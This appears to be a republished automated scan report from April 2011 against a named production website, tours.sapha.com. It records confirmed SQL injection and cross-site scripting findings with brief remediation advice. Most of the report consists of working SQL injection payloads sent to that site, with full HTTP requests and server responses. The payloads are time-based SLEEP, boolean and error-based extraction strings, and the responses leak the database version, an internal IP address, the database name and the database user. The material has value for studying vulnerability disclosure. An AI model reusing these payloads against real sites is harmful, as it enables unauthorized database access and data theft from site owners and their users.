Boolean SQL Injection, GHDB, DORK, Reflected XSS, tours.sapha.com REPORT SUMMARY

Hoyt LLC Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

XSS.CX Home | XSS.CX Research Blog

Loading

Netsparker - Scan Report Summary
TARGET URL
http://tours.sapha.com/?scs_sid=2546&scs_tid=...
SCAN DATE
4/22/2011 4:37:51 PM
REPORT DATE
4/22/2011 7:27:14 PM
SCAN DURATION
00:03:39

Total Requests

1036

Average Speed

4.73 req/sec.
27
identified
18
confirmed
16
critical
2
informational

GHDB, DORK Tests

GHDB, DORK Tests
PROFILE
Previous Settings
ENABLED ENGINES
Blind SQL Injection, Boolean SQL Injection, SQL Injection, Cross-site Scripting
Authentication
Scheduled

VULNERABILITIES

Vulnerabilities
Netsparker - Web Application Security Scanner
CRITICAL
59 %
IMPORTANT
15 %
LOW
19 %
INFORMATION
7 %

VULNERABILITY SUMMARY

Vulnerability Summary
URL Parameter Method Vulnerability Confirmed
/ scs_sid GET Blind SQL Injection Yes
scs_sid GET Blind SQL Injection Yes
scs_tid GET Blind SQL Injection Yes
scs_tid GET Blind SQL Injection Yes
scs_sid GET Boolean Based SQL Injection Yes
scs_sid GET Boolean Based SQL Injection Yes
scs_tid GET Boolean Based SQL Injection Yes
scs_tid GET Boolean Based SQL Injection Yes
scs_sid GET SQL Injection Yes
scs_sid GET SQL Injection Yes
scs_tid GET SQL Injection Yes
scs_tid GET SQL Injection Yes
scs_sid GET [Probable] SQL Injection No
scs_sid GET [Probable] SQL Injection No
scs_tid GET [Probable] SQL Injection No
scs_tid GET [Probable] SQL Injection No
scs_sid GET Cross-site Scripting Yes
scs_tid GET Cross-site Scripting Yes
scs_sid GET Cross-site Scripting Yes
scs_tid GET Cross-site Scripting Yes
Cookie Not Marked As HttpOnly Yes
Apache Version Disclosure No
PHP Version Disclosure No
scs_sid GET Database Error Message No
scs_sid GET [Possible] Internal IP Address Leakage No
MySQL Database Identified Yes
scs_sid GET E-mail Address Disclosure No
Blind SQL Injection

Blind SQL Injection

4 TOTAL
CRITICAL
CONFIRMED
4
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Netsparker confirmed the vulnerability by executing a test SQL Query on the back-end database. In these tests, SQL Injection was not obvious but the different responses from the page based on the injection test allowed us to identify and confirm the SQL Injection.

Impact

Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:

Actions to Take

  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL), consider using one. This will help you to centralise the issue. You can also use an ORM (object relational mapping). Most of the ORM systems use only parameterised queries and this can solve the whole SQL Injection problem.
  3. Locate the all dynamically generated SQL queries and convert them to parameterised queries. (If you decide to use a DAL/ORM change all legacy code to use these new libraries)
  4. Use your weblogs and application logs to see if there was any previous but undetected attack to this resource.

Remedy

A robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.

Required Skills for Successful Exploitation

There are numerous freely available tools to exploit SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.

External References

Remedy References

- /

/ CONFIRMED

http://tours.sapha.com/?scs_sid=-111%27%20OR%20SLEEP(25)=0%20LIMIT%201--+&scs_tid=1488&scscs=1

Parameters

Parameter Type Value
scs_sid GET -111' OR SLEEP(25)=0 LIMIT 1--
scs_tid GET 1488
scscs GET 1

Request

GET /?scs_sid=-111%27%20OR%20SLEEP(25)=0%20LIMIT%201--+&scs_tid=1488&scscs=1 HTTP/1.1
Referer: http://tours.sapha.com/?scs_sid=2546&scs_tid=1488
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: tours.sapha.com
Cookie: sapha_tst_2546=TRUE
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2011 21:38:12 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Content-Length: 1365
Connection: close
Content-Type: text/html; charset=UTF-8


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Think Subscription</title>
<style type="text/css">
body{
margin:0;
padding:0;
}
div#tourbox {
width:770px;
margin:0 auto 0 auto;
padding:0;
}
a{
color:#9E2626;
}
a:hover{
text-decoration:none;
}
</style>
</head>
<body>
<div id="tourbox">
<div id="8a146f1a3da4700cbf03cdc55e2daae6"><noscript><object codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="770" align="middle" height="540" id="tour_8a146f1a3da4700cbf03cdc55e2daae6" name="tour_8a146f1a3da4700cbf03cdc55e2daae6">
<param name="movie" value="http://tours.sapha.com/player/hta750x500.swf">
<param name="quality" value="high">
<param name="bgcolor" value="#ffffff">
<param name="allowScriptAccess" value="always">
<param name="wmode" value="\'transparent\'">
<param name="flashvars" value="scs_tsu=aHR0cDovL2FwcHMuc2FwaGEuY29tL2hvb2t0b3VyL3RvdXJzZXJ2aWNlLnBocA%3D%3D&scs_tourid=1488&scs_ac=2546&scs_purl=http://tours.sapha.com/?scs_sid=-111%27%20OR%20SLEEP(25)=0%20LIMIT%201--+&scs_tid=1488">
<embed src="http://tours.sapha.com/player/hta750x500.swf" quality="high" bgcolor="#ffffff" allowscriptaccess="always" pluginspage="http://www.macromedia.com/go/getflashplayer" wmode="\'transparent\'" flashvars="scs_tsu=aHR0cDovL2FwcHMuc2FwaGEuY29tL2hvb2t0b3VyL3RvdXJzZXJ2aWNlLnBocA%3D%3D&scs_tourid=1488&scs_ac=2546&scs_purl=http://tours.sapha.com/?scs_sid=-111%27%20OR%20SLEEP(25)=0%20LIMIT%201--+&scs_tid=1488" type="application/x-shockwave-flash" width="770" align="middle" height="540">
</object></noscript></div>
</div>
<style type="text/css">
div#saphafooter {
width:760px;
margin:50px auto 0 auto;
padding:3px 5px 3px 5px;
font-family: rial, Helvetica, SunSans-Regular, sans-serif;
font-size: 11px;
color: #666;
background-color:#efefef;
border-top: 1px solid #999;
}
div#saphafooterright{
text-align:right;
float:right;
border:0;
padding:0;
margin:0;
height:100%;
}
div#saphafooterleft{
text-align:left;
float:left;
border:0;
padding:0;
margin:0;
height:100%;
}
</style>
<div id="saphafooter">
<div id="saphafooterright">
Powered by <a href="http://www.sapha.com">Sapha</a>&nbsp;::: <a href="mailto:?subject=Watch%20this%20tour&body=Check out this short presentation: http://tours.sapha.com/?scs_sid=-111%27%20OR%20SLEEP(25)=0%20LIMIT%201--+&scs_tid=1488">forward this tour</a>
</div>
<div id="saphafooterleft">

</div>
<div style="clear:both;margin:0;padding:0;height:0px;"></div>
</div><script type="text/javascript" language="JavaScript" src="http://dce.sapha.com/engine.php?ac=-111' OR SLEEP(25)=0 LIMIT 1-- "></script>
<noscript><a href="http://www.sapha.com"><img src="http://dce.sapha.com/logging.php?ac=-111' OR SLEEP(25)=0 LIMIT 1-- &ns=1" border="0" alt="Sapha Conversion Suite Analytics"></a></noscript>
</body>
</html>
- /

/ CONFIRMED

http://tours.sapha.com/?scs_sid=-111%27%20OR%20SLEEP(25)=0%20LIMIT%201--+&scs_tid=1488

Parameters

Parameter Type Value
scs_sid GET -111' OR SLEEP(25)=0 LIMIT 1--
scs_tid GET 1488

Request

GET /?scs_sid=-111%27%20OR%20SLEEP(25)=0%20LIMIT%201--+&scs_tid=1488 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: tours.sapha.com
Cookie: sapha_tst_2546=TRUE
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2011 21:38:12 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Content-Length: 1365
Connection: close
Content-Type: text/html; charset=UTF-8


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Think Subscription</title>
<style type="text/css">
body{
margin:0;
padding:0;
}
div#tourbox {
width:770px;
margin:0 auto 0 auto;
padding:0;
}
a{
color:#9E2626;
}
a:hover{
text-decoration:none;
}
</style>
</head>
<body>
<div id="tourbox">
<div id="8a146f1a3da4700cbf03cdc55e2daae6"><noscript><object codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="770" align="middle" height="540" id="tour_8a146f1a3da4700cbf03cdc55e2daae6" name="tour_8a146f1a3da4700cbf03cdc55e2daae6">
<param name="movie" value="http://tours.sapha.com/player/hta750x500.swf">
<param name="quality" value="high">
<param name="bgcolor" value="#ffffff">
<param name="allowScriptAccess" value="always">
<param name="wmode" value="\'transparent\'">
<param name="flashvars" value="scs_tsu=aHR0cDovL2FwcHMuc2FwaGEuY29tL2hvb2t0b3VyL3RvdXJzZXJ2aWNlLnBocA%3D%3D&scs_tourid=1488&scs_ac=2546&scs_purl=http://tours.sapha.com/?scs_sid=-111%27%20OR%20SLEEP(25)=0%20LIMIT%201--+&scs_tid=1488">
<embed src="http://tours.sapha.com/player/hta750x500.swf" quality="high" bgcolor="#ffffff" allowscriptaccess="always" pluginspage="http://www.macromedia.com/go/getflashplayer" wmode="\'transparent\'" flashvars="scs_tsu=aHR0cDovL2FwcHMuc2FwaGEuY29tL2hvb2t0b3VyL3RvdXJzZXJ2aWNlLnBocA%3D%3D&scs_tourid=1488&scs_ac=2546&scs_purl=http://tours.sapha.com/?scs_sid=-111%27%20OR%20SLEEP(25)=0%20LIMIT%201--+&scs_tid=1488" type="application/x-shockwave-flash" width="770" align="middle" height="540">
</object></noscript></div>
</div>
<style type="text/css">
div#saphafooter {
width:760px;
margin:50px auto 0 auto;
padding:3px 5px 3px 5px;
font-family: rial, Helvetica, SunSans-Regular, sans-serif;
font-size: 11px;
color: #666;
background-color:#efefef;
border-top: 1px solid #999;
}
div#saphafooterright{
text-align:right;
float:right;
border:0;
padding:0;
margin:0;
height:100%;
}
div#saphafooterleft{
text-align:left;
float:left;
border:0;
padding:0;
margin:0;
height:100%;
}
</style>
<div id="saphafooter">
<div id="saphafooterright">
Powered by <a href="http://www.sapha.com">Sapha</a>&nbsp;::: <a href="mailto:?subject=Watch%20this%20tour&body=Check out this short presentation: http://tours.sapha.com/?scs_sid=-111%27%20OR%20SLEEP(25)=0%20LIMIT%201--+&scs_tid=1488">forward this tour</a>
</div>
<div id="saphafooterleft">

</div>
<div style="clear:both;margin:0;padding:0;height:0px;"></div>
</div><script type="text/javascript" language="JavaScript" src="http://dce.sapha.com/engine.php?ac=-111' OR SLEEP(25)=0 LIMIT 1-- "></script>
<noscript><a href="http://www.sapha.com"><img src="http://dce.sapha.com/logging.php?ac=-111' OR SLEEP(25)=0 LIMIT 1-- &ns=1" border="0" alt="Sapha Conversion Suite Analytics"></a></noscript>
</body>
</html>
- /

/ CONFIRMED

http://tours.sapha.com/?scs_sid=2546&scs_tid=-111%20OR%20SLEEP(25)=0%20LIMIT%201--+&scscs=1

Parameters

Parameter Type Value
scs_sid GET 2546
scs_tid GET -111 OR SLEEP(25)=0 LIMIT 1--
scscs GET 1

Request

GET /?scs_sid=2546&scs_tid=-111%20OR%20SLEEP(25)=0%20LIMIT%201--+&scscs=1 HTTP/1.1
Referer: http://tours.sapha.com/?scs_sid=2546&scs_tid=1488
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: tours.sapha.com
Cookie: sapha_tst_2546=TRUE
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2011 21:39:41 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Content-Length: 105
Connection: close
Content-Type: text/html; charset=UTF-8


<html><body><h1>An error has occurred.</h1><p>Please contact support for assistance.</p></body></html>
- /

/ CONFIRMED

http://tours.sapha.com/?scs_sid=2546&scs_tid=-111%20OR%20SLEEP(25)=0%20LIMIT%201--+

Parameters

Parameter Type Value
scs_sid GET 2546
scs_tid GET -111 OR SLEEP(25)=0 LIMIT 1--

Request

GET /?scs_sid=2546&scs_tid=-111%20OR%20SLEEP(25)=0%20LIMIT%201--+ HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: tours.sapha.com
Cookie: sapha_tst_2546=TRUE
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2011 21:39:42 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Content-Length: 105
Connection: close
Content-Type: text/html; charset=UTF-8


<html><body><h1>An error has occurred.</h1><p>Please contact support for assistance.</p></body></html>
Boolean Based SQL Injection

Boolean Based SQL Injection

4 TOTAL
CRITICAL
CONFIRMED
4
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Netsparker confirmed the vulnerability by executing a test SQL Query on the back-end database. In these tests, SQL Injection was not obvious but the different responses from the page based on the injection test allowed Netsparker to identify and confirm the SQL Injection.

Impact

Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:

Actions to Take

  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL), consider using one. This will help you to centralise the issue. You can also use an ORM (object relational mapping). Most of the ORM systems use only parameterised queries and this can solve the whole SQL Injection problem.
  3. Locate all of the dynamically generated SQL queries and convert them to parameterised queries. (If you decide to use a DAL/ORM change all legacy code to use these new libraries)
  4. Use your weblogs and application logs to see if there was any previous but undetected attack to this resource.

Remedy

The best way to protect your code against SQL Injections is using parameterised queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.

Required Skills for Successful Exploitation

There are numerous freely available tools to exploit SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them.

External References

Remedy References

- /

/ CONFIRMED

http://tours.sapha.com/?scs_sid=-1+OR+17-7%3d10&scs_tid=1488

Parameters

Parameter Type Value
scs_sid GET -1 OR 17-7=10
scs_tid GET 1488

Request

GET /?scs_sid=-1+OR+17-7%3d10&scs_tid=1488 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: tours.sapha.com
Cookie: sapha_tst_2546=TRUE
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2011 21:38:10 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Content-Length: 602
Connection: close
Content-Type: text/html; charset=UTF-8


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Tour Unavailable</title>
<style type="text/css">
body{
margin:0;
padding:0;
}
a{
color:#9E2626;
}
a:hover{
text-decoration:none;
}
.left {
float:left;
}
#container {
width:640px;
margin:50px auto 20px auto;
padding:0;
}
#container #content {
margin-left: 200px;
}
</style>
</head>
<body>
<div id="container">
<img class="left" src="images/alert_175x162.gif" height="162" width="175" border="0" />
<div id="content">
<h1>Oops!</h1>
<p>The tour you have requested does not exist or is not currently available. Please <a href="mailto:support@sapha.com" title="Sapha Support">contact support</a> if you feel you have reached this page in error.</p>
</div>
</div>
</body>
</html>
- /

/ CONFIRMED

http://tours.sapha.com/?scs_sid=-1+OR+17-7%3d10&scs_tid=1488&scscs=1

Parameters

Parameter Type Value
scs_sid GET -1 OR 17-7=10
scs_tid GET 1488
scscs GET 1

Request

GET /?scs_sid=-1+OR+17-7%3d10&scs_tid=1488&scscs=1 HTTP/1.1
Referer: http://tours.sapha.com/?scs_sid=2546&scs_tid=1488
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: tours.sapha.com
Cookie: sapha_tst_2546=TRUE
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2011 21:38:10 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Content-Length: 602
Connection: close
Content-Type: text/html; charset=UTF-8


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Tour Unavailable</title>
<style type="text/css">
body{
margin:0;
padding:0;
}
a{
color:#9E2626;
}
a:hover{
text-decoration:none;
}
.left {
float:left;
}
#container {
width:640px;
margin:50px auto 20px auto;
padding:0;
}
#container #content {
margin-left: 200px;
}
</style>
</head>
<body>
<div id="container">
<img class="left" src="images/alert_175x162.gif" height="162" width="175" border="0" />
<div id="content">
<h1>Oops!</h1>
<p>The tour you have requested does not exist or is not currently available. Please <a href="mailto:support@sapha.com" title="Sapha Support">contact support</a> if you feel you have reached this page in error.</p>
</div>
</div>
</body>
</html>
- /

/ CONFIRMED

http://tours.sapha.com/?scs_sid=2546&scs_tid=-1+OR+17-7%3d10

Parameters

Parameter Type Value
scs_sid GET 2546
scs_tid GET -1 OR 17-7=10

Request

GET /?scs_sid=2546&scs_tid=-1+OR+17-7%3d10 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: tours.sapha.com
Cookie: sapha_tst_2546=TRUE
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2011 21:38:31 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Content-Length: 105
Connection: close
Content-Type: text/html; charset=UTF-8


<html><body><h1>An error has occurred.</h1><p>Please contact support for assistance.</p></body></html>
- /

/ CONFIRMED

http://tours.sapha.com/?scs_sid=2546&scs_tid=-1+OR+17-7%3d10&scscs=1

Parameters

Parameter Type Value
scs_sid GET 2546
scs_tid GET -1 OR 17-7=10
scscs GET 1

Request

GET /?scs_sid=2546&scs_tid=-1+OR+17-7%3d10&scscs=1 HTTP/1.1
Referer: http://tours.sapha.com/?scs_sid=2546&scs_tid=1488
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: tours.sapha.com
Cookie: sapha_tst_2546=TRUE
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2011 21:38:31 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Content-Length: 105
Connection: close
Content-Type: text/html; charset=UTF-8


<html><body><h1>An error has occurred.</h1><p>Please contact support for assistance.</p></body></html>
SQL Injection

SQL Injection

4 TOTAL
CRITICAL
CONFIRMED
4
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Netsparker confirmed the vulnerability by executing a test SQL Query on the back-end database.

Impact

Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:

Actions to Take

  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL), consider using one. This will help you to centralise the issue. You can also use an ORM (object relational mapping). Most of the ORM systems use only parameterised queries and this can solve the whole SQL Injection problem.
  3. Locate all of the dynamically generated SQL queries and convert them to parameterised queries (If you decide to use a DAL/ORM, change all legacy code to use these new libraries)
  4. Use your weblogs and application logs to see if there was any previous but undetected attack to this resource.

Remedy

A robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.

Required Skills for Successful Exploitation

There are numerous freely available tools to exploit SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.

External References

Remedy References

- /

/ CONFIRMED

http://tours.sapha.com/?scs_sid='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR..

Parameters

Parameter Type Value
scs_sid GET '+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'
scs_tid GET 1488
scscs GET 1

Extracted Data

5.0.45

Request

GET /?scs_sid='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B'&scs_tid=1488&scscs=1 HTTP/1.1
Referer: http://tours.sapha.com/?scs_sid=2546&scs_tid=1488
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: tours.sapha.com
Cookie: sapha_tst_2546=TRUE
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2011 21:38:11 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Content-Length: 360
Connection: close
Content-Type: text/html; charset=UTF-8


</td></tr></table><b>Database error on host '192.168.50.20', db 'sapha_core', user 'www', object 'globalDB':</b> Invalid SQL: select SQL_CACHE * from site_options where site_ID = ''+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+''<br><b>MySQL Error</b>: 1062 (Duplicate entry '_!@4dilemma:1' for key 1)<br>Session halted.
- /

/ CONFIRMED

http://tours.sapha.com/?scs_sid='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR..

Parameters

Parameter Type Value
scs_sid GET '+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'
scs_tid GET 1488

Extracted Data

5.0.45

Request

GET /?scs_sid='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B'&scs_tid=1488 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: tours.sapha.com
Cookie: sapha_tst_2546=TRUE
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2011 21:38:11 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Content-Length: 360
Connection: close
Content-Type: text/html; charset=UTF-8


</td></tr></table><b>Database error on host '192.168.50.20', db 'sapha_core', user 'www', object 'globalDB':</b> Invalid SQL: select SQL_CACHE * from site_options where site_ID = ''+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+''<br><b>MySQL Error</b>: 1062 (Duplicate entry '_!@4dilemma:1' for key 1)<br>Session halted.
- /

/ CONFIRMED

http://tours.sapha.com/?scs_sid=2546&scs_tid=(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CO..

Parameters

Parameter Type Value
scs_sid GET 2546
scs_tid GET (select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
scscs GET 1

Extracted Data

5.0.45

Request

GET /?scs_sid=2546&scs_tid=(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))&scscs=1 HTTP/1.1
Referer: http://tours.sapha.com/?scs_sid=2546&scs_tid=1488
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: tours.sapha.com
Cookie: sapha_tst_2546=TRUE
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2011 21:38:14 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Content-Length: 376
Connection: close
Content-Type: text/html; charset=UTF-8


</td></tr></table><b>Database error on host '192.168.50.20', db 'sapha_core', user 'www', object 'globalDB':</b> Invalid SQL: SELECT 1 FROM site_application t1 WHERE t1.site_application_isactive = 1 AND site_application_id = (select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))<br><b>MySQL Error</b>: 1062 (Duplicate entry '_!@4dilemma:1' for key 1)<br>Session halted.
- /

/ CONFIRMED

http://tours.sapha.com/?scs_sid=2546&scs_tid=(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CO..

Parameters

Parameter Type Value
scs_sid GET 2546
scs_tid GET (select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Extracted Data

5.0.45

Request

GET /?scs_sid=2546&scs_tid=(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1)) HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: tours.sapha.com
Cookie: sapha_tst_2546=TRUE
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2011 21:38:14 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Content-Length: 376
Connection: close
Content-Type: text/html; charset=UTF-8


